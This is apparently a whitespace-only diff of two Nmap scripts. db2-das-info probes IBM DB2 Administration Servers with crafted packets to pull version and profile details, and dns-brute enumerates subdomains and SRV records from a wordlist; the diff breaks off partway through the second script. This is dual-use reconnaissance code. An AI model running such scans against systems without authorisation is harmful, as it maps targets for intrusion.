local DATA_LENGTH_OFFSET = 38 local DATA_LENGTH_OFFSET = 38
local ENDIANESS_OFFSET = 23 local ENDIANESS_OFFSET = 23
local catch = function() local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server") stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server")
socket:close() socket:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
packet.header = {} packet.header = {}
buf = try( socket:receive_bytes(header_len) ) buf = try( socket:receive_bytes(header_len) )
packet.header.raw = buf:sub(1, header_len) packet.header.raw = buf:sub(1, header_len)
if packet.header.raw:sub(1, 10) == string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53) then if packet.header.raw:sub(1, 10) == string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53) then
stdnse.print_debug("db2-das-info: Got DB2DAS packet") stdnse.print_debug("db2-das-info: Got DB2DAS packet")
local _, endian = bin.unpack( "A2", packet.header.raw, ENDIANESS_OFFSET ) local _, endian = bin.unpack( "A2", packet.header.raw, ENDIANESS_OFFSET )
if endian == "9z" then if endian == "9z" then
_, packet.header.data_len = bin.unpack("I", packet.header.raw, DATA_LENGTH_OFFSET ) _, packet.header.data_len = bin.unpack("I", packet.header.raw, DATA_LENGTH_OFFSET )
else else
_, packet.header.data_len = bin.unpack(">I", packet.header.raw, DATA_LENGTH_OFFSET ) _, packet.header.data_len = bin.unpack(">I", packet.header.raw, DATA_LENGTH_OFFSET )
end end
total_len = header_len + packet.header.data_len total_len = header_len + packet.header.data_len
if(nmap.debugging() > 3) then if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: data_len: %d", packet.header.data_len) ) stdnse.print_debug( string.format("db2-das-info: data_len: %d", packet.header.data_len) )
stdnse.print_debug( string.format("db2-das-info: buf_len: %d", buf:len())) stdnse.print_debug( string.format("db2-das-info: buf_len: %d", buf:len()))
stdnse.print_debug( string.format("db2-das-info: total_len: %d", total_len)) stdnse.print_debug( string.format("db2-das-info: total_len: %d", total_len))
end end
-- do we have all data as specified by data_len? -- do we have all data as specified by data_len?
while total_len > buf:len() do while total_len > buf:len() do
-- if not read additional bytes -- if not read additional bytes
if(nmap.debugging() > 3) then if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: Reading %d additional bytes", total_len - buf:len())) stdnse.print_debug( string.format("db2-das-info: Reading %d additional bytes", total_len - buf:len()))
end end
local tmp = try( socket:receive_bytes( total_len - buf:len() ) ) local tmp = try( socket:receive_bytes( total_len - buf:len() ) )
if(nmap.debugging() > 3) then if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: Read %d bytes", tmp:len())) stdnse.print_debug( string.format("db2-das-info: Read %d bytes", tmp:len()))
end end
buf = buf .. tmp buf = buf .. tmp
end end
packet.data = buf:sub(header_len + 1) packet.data = buf:sub(header_len + 1)
else else
stdnse.print_debug("db2-das-info: Unknown packet, aborting ...") stdnse.print_debug("db2-das-info: Unknown packet, aborting ...")
return return
end end
return packet return packet
end end
@@ -234,16 +234,16 @@ end
-- --
function send_db2_packet( socket, packet ) function send_db2_packet( socket, packet )
local catch = function() local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server") stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server")
socket:close() socket:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local buf = packet.header.raw .. packet.data local buf = packet.header.raw .. packet.data
try( socket:send(buf) ) try( socket:send(buf) )
end end
@@ -261,172 +261,172 @@ end
-- --
function create_das_packet( magic, data ) function create_das_packet( magic, data )
local packet = {} local packet = {}
local data_len = data:len() local data_len = data:len()
packet.header = {} packet.header = {}
packet.header.raw = string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20) packet.header.raw = string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20)
packet.header.raw = packet.header.raw .. string.char(0x01, 0x04, 0x00, 0x00, 0x00, 0x10, 0x39, 0x7a, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) packet.header.raw = packet.header.raw .. string.char(0x01, 0x04, 0x00, 0x00, 0x00, 0x10, 0x39, 0x7a, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
packet.header.raw = packet.header.raw .. string.char(0x00, 0x00, 0x00, 0x00 ) packet.header.raw = packet.header.raw .. string.char(0x00, 0x00, 0x00, 0x00 )
packet.header.raw = packet.header.raw .. bin.pack("C", magic) packet.header.raw = packet.header.raw .. bin.pack("C", magic)
packet.header.raw = packet.header.raw .. bin.pack("S", data_len) packet.header.raw = packet.header.raw .. bin.pack("S", data_len)
packet.header.raw = packet.header.raw .. string.char(0x00, 0x00) packet.header.raw = packet.header.raw .. string.char(0x00, 0x00)
packet.header.data_len = data_len packet.header.data_len = data_len
packet.data = data packet.data = data
return packet return packet
end end
action = function(host, port) action = function(host, port)
-- create the socket used for our connection -- create the socket used for our connection
local socket = nmap.new_socket() local socket = nmap.new_socket()
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(10000) socket:set_timeout(10000)
-- do some exception handling / cleanup -- do some exception handling / cleanup
local catch = function() local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with " .. host.ip .. " on port " .. port.number) stdnse.print_debug("%s", "db2-das-info: ERROR communicating with " .. host.ip .. " on port " .. port.number)
socket:close() socket:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
try(socket:connect(host, port)) try(socket:connect(host, port))
local query local query
-- ************************************************************************************ -- ************************************************************************************
-- Transaction block 1 -- Transaction block 1
-- ************************************************************************************ -- ************************************************************************************
local data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x00) local data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x00)
--try(socket:send(query)) --try(socket:send(query))
local db2packet = create_das_packet(0x02, data) local db2packet = create_das_packet(0x02, data)
send_db2_packet( socket, db2packet ) send_db2_packet( socket, db2packet )
read_db2_packet( socket ) read_db2_packet( socket )
-- ************************************************************************************ -- ************************************************************************************
-- Transaction block 2 -- Transaction block 2
-- ************************************************************************************ -- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00) data = string.char(0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x08, 0x59, 0xe7, 0x1f, 0x4b, 0x79, 0xf0, 0x90, 0x72, 0x85, 0xe0, 0x8f) data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x08, 0x59, 0xe7, 0x1f, 0x4b, 0x79, 0xf0, 0x90, 0x72, 0x85, 0xe0, 0x8f)
data = data .. string.char(0x3e, 0x38, 0x45, 0x38, 0xe3, 0xe5, 0x12, 0xc4, 0x3b, 0xe9, 0x7d, 0xe2, 0xf5, 0xf0, 0x78, 0xcc) data = data .. string.char(0x3e, 0x38, 0x45, 0x38, 0xe3, 0xe5, 0x12, 0xc4, 0x3b, 0xe9, 0x7d, 0xe2, 0xf5, 0xf0, 0x78, 0xcc)
data = data .. string.char(0x81, 0x6f, 0x87, 0x5f, 0x91) data = data .. string.char(0x81, 0x6f, 0x87, 0x5f, 0x91)
db2packet = create_das_packet(0x05, data) db2packet = create_das_packet(0x05, data)
send_db2_packet( socket, db2packet ) send_db2_packet( socket, db2packet )
read_db2_packet( socket ) read_db2_packet( socket )
-- ************************************************************************************ -- ************************************************************************************
-- Transaction block 3 -- Transaction block 3
-- ************************************************************************************ -- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00) data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00) data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32) data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00) data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32) data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00) data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00)
db2packet = create_das_packet(0x0a, data) db2packet = create_das_packet(0x0a, data)
send_db2_packet( socket, db2packet ) send_db2_packet( socket, db2packet )
read_db2_packet( socket ) read_db2_packet( socket )
-- ************************************************************************************ -- ************************************************************************************
-- Transaction block 4 -- Transaction block 4
-- ************************************************************************************ -- ************************************************************************************
data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00) data = string.char(0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4a, 0x01, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03) data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03)
data = data .. string.char(0x48, 0x00, 0x00, 0x00, 0x00, 0x4a, 0xfb, 0x42, 0x90, 0x00, 0x00, 0x24, 0x93, 0x00, 0x00, 0x00) data = data .. string.char(0x48, 0x00, 0x00, 0x00, 0x00, 0x4a, 0xfb, 0x42, 0x90, 0x00, 0x00, 0x24, 0x93, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00) data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00) data = data .. string.char(0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32) data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00) data = data .. string.char(0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53, 0x72, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32) data = data .. string.char(0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x64, 0x62, 0x32)
data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00) data = data .. string.char(0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x00, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00) data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x4c, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00)
data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x00) data = data .. string.char(0x0c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0xb8, 0x00)
db2packet = create_das_packet(0x06, data) db2packet = create_das_packet(0x06, data)
send_db2_packet( socket, db2packet ) send_db2_packet( socket, db2packet )
data = string.char( 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00) data = string.char( 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00)
data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73) data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x64, 0x61, 0x73, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73)
data = data .. string.char(0x63, 0x76, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00) data = data .. string.char(0x63, 0x76, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x04, 0x00)
data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53) data = data .. string.char(0x00, 0x04, 0xb8, 0x64, 0x62, 0x32, 0x4b, 0x6e, 0x6f, 0x77, 0x6e, 0x44, 0x73, 0x63, 0x76, 0x53)
data = data .. string.char(0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00) data = data .. string.char(0x72, 0x76, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00) data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00) data = data .. string.char(0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00)
data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00) data = data .. string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00)
data = data .. string.char(0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00, 0x00, 0x00, 0x01, 0x00) data = data .. string.char(0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x4c, 0x00, 0x00, 0x00, 0x01, 0x00)
data = data .. string.char(0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0c, 0x00) data = data .. string.char(0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x0c, 0x00)
data = data .. string.char(0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x18) data = data .. string.char(0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x18)
db2packet = create_das_packet(0x06, data) db2packet = create_das_packet(0x06, data)
send_db2_packet( socket, db2packet ) send_db2_packet( socket, db2packet )
local packet = read_db2_packet( socket ) local packet = read_db2_packet( socket )
local db2response = parse_db2_packet(packet) local db2response = parse_db2_packet(packet)
socket:close() socket:close()
-- The next block of code is essentially the version extraction code from db2-info.nse -- The next block of code is essentially the version extraction code from db2-info.nse
local server_version local server_version
if string.sub(db2response.version,1,3) == "SQL" then if string.sub(db2response.version,1,3) == "SQL" then
local major_version = string.sub(db2response.version,4,5) local major_version = string.sub(db2response.version,4,5)
-- strip the leading 0 from the major version, for consistency with -- strip the leading 0 from the major version, for consistency with
-- nmap-service-probes results -- nmap-service-probes results
if string.sub(major_version,1,1) == "0" then if string.sub(major_version,1,1) == "0" then
major_version = string.sub(major_version,2) major_version = string.sub(major_version,2)
end end
local minor_version = string.sub(db2response.version,6,7) local minor_version = string.sub(db2response.version,6,7)
local hotfix = string.sub(db2response.version,8) local hotfix = string.sub(db2response.version,8)
server_version = major_version .. "." .. minor_version .. "." .. hotfix server_version = major_version .. "." .. minor_version .. "." .. hotfix
end end
-- Try to determine which of the two values (probe version vs script) has more -- Try to determine which of the two values (probe version vs script) has more
-- precision. A couple DB2 versions send DB2 UDB 7.1 vs SQL090204 (9.02.04) -- precision. A couple DB2 versions send DB2 UDB 7.1 vs SQL090204 (9.02.04)
local _ local _
local current_count = 0 local current_count = 0
if port.version.version ~= nil then if port.version.version ~= nil then
_, current_count = string.gsub(port.version.version, "%.", ".") _, current_count = string.gsub(port.version.version, "%.", ".")
end end
local new_count = 0 local new_count = 0
if server_version ~= nil then if server_version ~= nil then
_, new_count = string.gsub(server_version, "%.", ".") _, new_count = string.gsub(server_version, "%.", ".")
end end
if current_count < new_count then if current_count < new_count then
port.version.version = server_version port.version.version = server_version
end end
local result = false local result = false
local db2profile = extract_server_profile( db2response.info ) local db2profile = extract_server_profile( db2response.info )
if (db2profile ~= nil ) then if (db2profile ~= nil ) then
result = "DB2 Administration Server Settings\r\n" result = "DB2 Administration Server Settings\r\n"
result = result .. extract_server_profile( db2response.info ) result = result .. extract_server_profile( db2response.info )
-- Set port information -- Set port information
port.version.name = "ibm-db2" port.version.name = "ibm-db2"
port.version.product = "IBM DB2 Database Server" port.version.product = "IBM DB2 Database Server"
port.version.name_confidence = 10 port.version.name_confidence = 10
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
end end
return result return result
end end

View File

@@ -67,170 +67,170 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "discovery"} categories = {"intrusive", "discovery"}
prerule = function() prerule = function()
if not stdnse.get_script_args("dns-brute.domain") then if not stdnse.get_script_args("dns-brute.domain") then
stdnse.print_debug(1, stdnse.print_debug(1,
"Skipping '%s' %s, 'dns-brute.domain' argument is missing.", "Skipping '%s' %s, 'dns-brute.domain' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE) SCRIPT_NAME, SCRIPT_TYPE)
return false return false
end end
return true return true
end end
hostrule = function(host) hostrule = function(host)
return true return true
end end
local function guess_domain(host) local function guess_domain(host)
local name local name
name = stdnse.get_hostname(host) name = stdnse.get_hostname(host)
if name and name ~= host.ip then if name and name ~= host.ip then
return string.match(name, "%.([^.]+%..+)%.?$") or string.match(name, "^([^.]+%.[^.]+)%.?$") return string.match(name, "%.([^.]+%..+)%.?$") or string.match(name, "^([^.]+%.[^.]+)%.?$")
else else
return nil return nil
end end
end end
-- Single DNS lookup, returning all results. dtype should be e.g. "A", "AAAA". -- Single DNS lookup, returning all results. dtype should be e.g. "A", "AAAA".
local function resolve(host, dtype) local function resolve(host, dtype)
local status, result = dns.query(host, {dtype=dtype,retAll=true}) local status, result = dns.query(host, {dtype=dtype,retAll=true})
return status and result or false return status and result or false
end end
local function array_iter(array, i, j) local function array_iter(array, i, j)
return coroutine.wrap(function () return coroutine.wrap(function ()
while i <= j do while i <= j do
coroutine.yield(array[i]) coroutine.yield(array[i])
i = i + 1 i = i + 1
end end
end) end)
end end
local function thread_main(domainname, results, name_iter) local function thread_main(domainname, results, name_iter)
local condvar = nmap.condvar( results ) local condvar = nmap.condvar( results )
for name in name_iter do for name in name_iter do
for _, dtype in ipairs({"A", "AAAA"}) do for _, dtype in ipairs({"A", "AAAA"}) do
local res = resolve(name..'.'..domainname, dtype) local res = resolve(name..'.'..domainname, dtype)
if(res) then if(res) then
for _,addr in ipairs(res) do for _,addr in ipairs(res) do
local hostn = name..'.'..domainname local hostn = name..'.'..domainname
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
stdnse.print_debug("Added target: "..hostn) stdnse.print_debug("Added target: "..hostn)
local status,err = target.add(hostn) local status,err = target.add(hostn)
end end
stdnse.print_debug("Hostname: "..hostn.." IP: "..addr) stdnse.print_debug("Hostname: "..hostn.." IP: "..addr)
local record = { hostname=hostn, address=addr } local record = { hostname=hostn, address=addr }
setmetatable(record, { setmetatable(record, {
__tostring = function(t) __tostring = function(t)
return string.format("%s - %s", t.hostname, t.address) return string.format("%s - %s", t.hostname, t.address)
end end
}) })
results[#results+1] = record results[#results+1] = record
end end
end end
end end
end end
condvar("signal") condvar("signal")
end end
local function srv_main(domainname, srvresults, srv_iter) local function srv_main(domainname, srvresults, srv_iter)
local condvar = nmap.condvar( srvresults ) local condvar = nmap.condvar( srvresults )
for name in srv_iter do for name in srv_iter do
local res = resolve(name..'.'..domainname, "SRV") local res = resolve(name..'.'..domainname, "SRV")
if(res) then if(res) then
for _,addr in ipairs(res) do for _,addr in ipairs(res) do
local hostn = name..'.'..domainname local hostn = name..'.'..domainname
addr = stdnse.strsplit(":",addr) addr = stdnse.strsplit(":",addr)
for _, dtype in ipairs({"A", "AAAA"}) do for _, dtype in ipairs({"A", "AAAA"}) do
local srvres = resolve(addr[4], dtype) local srvres = resolve(addr[4], dtype)
if(srvres) then if(srvres) then
for srvhost,srvip in ipairs(srvres) do for srvhost,srvip in ipairs(srvres) do
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
stdnse.print_debug("Added target: "..srvip) stdnse.print_debug("Added target: "..srvip)
local status,err = target.add(srvip) local status,err = target.add(srvip)
end end
stdnse.print_debug("Hostname: "..hostn.." IP: "..srvip) stdnse.print_debug("Hostname: "..hostn.." IP: "..srvip)
local record = { hostname=hostn, address=srvip } local record = { hostname=hostn, address=srvip }
setmetatable(record, { setmetatable(record, {
__tostring = function(t) __tostring = function(t)
return string.format("%s - %s", t.hostname, t.address) return string.format("%s - %s", t.hostname, t.address)
end end
}) })
srvresults[#srvresults+1] = record srvresults[#srvresults+1] = record
end end
end end
end end
end end
end end
end end
condvar("signal") condvar("signal")
end end
action = function(host) action = function(host)
local domainname = stdnse.get_script_args('dns-brute.domain') local domainname = stdnse.get_script_args('dns-brute.domain')
if not domainname then if not domainname then
domainname = guess_domain(host) domainname = guess_domain(host)
end end
if not domainname then if not domainname then
return string.format("Can't guess domain of \"%s\"; use %s.domain script argument.", stdnse.get_hostname(host), SCRIPT_NAME) return string.format("Can't guess domain of \"%s\"; use %s.domain script argument.", stdnse.get_hostname(host), SCRIPT_NAME)
end end
if not nmap.registry.bruteddomains then if not nmap.registry.bruteddomains then
nmap.registry.bruteddomains = {} nmap.registry.bruteddomains = {}
end end
if nmap.registry.bruteddomains[domainname] then if nmap.registry.bruteddomains[domainname] then
stdnse.print_debug("Skipping already-bruted domain %s", domainname) stdnse.print_debug("Skipping already-bruted domain %s", domainname)
return nil return nil
end end
nmap.registry.bruteddomains[domainname] = true nmap.registry.bruteddomains[domainname] = true
stdnse.print_debug("Starting dns-brute at: "..domainname) stdnse.print_debug("Starting dns-brute at: "..domainname)
local max_threads = stdnse.get_script_args('dns-brute.threads') and tonumber( stdnse.get_script_args('dns-brute.threads') ) or 5 local max_threads = stdnse.get_script_args('dns-brute.threads') and tonumber( stdnse.get_script_args('dns-brute.threads') ) or 5
local dosrv = stdnse.get_script_args("dns-brute.srv") or false local dosrv = stdnse.get_script_args("dns-brute.srv") or false
stdnse.print_debug("THREADS: "..max_threads) stdnse.print_debug("THREADS: "..max_threads)
-- First look for dns-brute.hostlist -- First look for dns-brute.hostlist
local fileName = stdnse.get_script_args('dns-brute.hostlist') local fileName = stdnse.get_script_args('dns-brute.hostlist')
-- Check fetchfile locations, then relative paths -- Check fetchfile locations, then relative paths
local commFile = (fileName and nmap.fetchfile(fileName)) or fileName local commFile = (fileName and nmap.fetchfile(fileName)) or fileName
-- Finally, fall back to vhosts-default.lst -- Finally, fall back to vhosts-default.lst
commFile = commFile or nmap.fetchfile("nselib/data/vhosts-default.lst") commFile = commFile or nmap.fetchfile("nselib/data/vhosts-default.lst")
local hostlist = {} local hostlist = {}
if commFile then if commFile then
for l in io.lines(commFile) do for l in io.lines(commFile) do
if not l:match("#!comment:") then if not l:match("#!comment:") then
table.insert(hostlist, l) table.insert(hostlist, l)
end end
end end
else else
stdnse.print_debug(1, "%s: Cannot find hostlist file, quitting", SCRIPT_NAME) stdnse.print_debug(1, "%s: Cannot find hostlist file, quitting", SCRIPT_NAME)
return return
end end
local threads, results, srvresults = {}, {}, {} local threads, results, srvresults = {}, {}, {}
local condvar = nmap.condvar( results ) local condvar = nmap.condvar( results )
local i = 1 local i = 1
local howmany = math.floor(#hostlist/max_threads)+1 local howmany = math.floor(#hostlist/max_threads)+1
stdnse.print_debug("Hosts per thread: "..howmany) stdnse.print_debug("Hosts per thread: "..howmany)
repeat repeat
local j = math.min(i+howmany, #hostlist) local j = math.min(i+howmany, #hostlist)
local name_iter = array_iter(hostlist, i, j) local name_iter = array_iter(hostlist, i, j)
threads[stdnse.new_thread(thread_main, domainname, results, name_iter)] = true threads[stdnse.new_thread(thread_main, domainname, results, name_iter)] = true
i = j+1 i = j+1
until i > #hostlist until i > #hostlist
local done local done
-- wait for all threads to finish -- wait for all threads to finish
while( not(done) ) do while( not(done) ) do
done = true done = true
for thread in pairs(threads) do for thread in pairs(threads) do
if (coroutine.status(thread) ~= "dead") then done = false end if (coroutine.status(thread) ~= "dead") then done = false end
end end
if ( not(done) ) then if ( not(done) ) then
condvar("wait") condvar("wait")
end end
end end
if(dosrv) then if(dosrv) then
-- First look for dns-brute.srvlist -- First look for dns-brute.srvlist
fileName = stdnse.get_script_args('dns-brute.srvlist') fileName = stdnse.get_script_args('dns-brute.srvlist')
-- Check fetchfile locations, then relative paths -- Check fetchfile locations, then relative paths
@@ -245,44 +245,44 @@ action = function(host)
end end
end end
i = 1 i = 1
threads = {} threads = {}
howmany = math.floor(#srvlist/max_threads)+1 howmany = math.floor(#srvlist/max_threads)+1
condvar = nmap.condvar( srvresults ) condvar = nmap.condvar( srvresults )
stdnse.print_debug("SRV's per thread: "..howmany) stdnse.print_debug("SRV's per thread: "..howmany)
repeat repeat
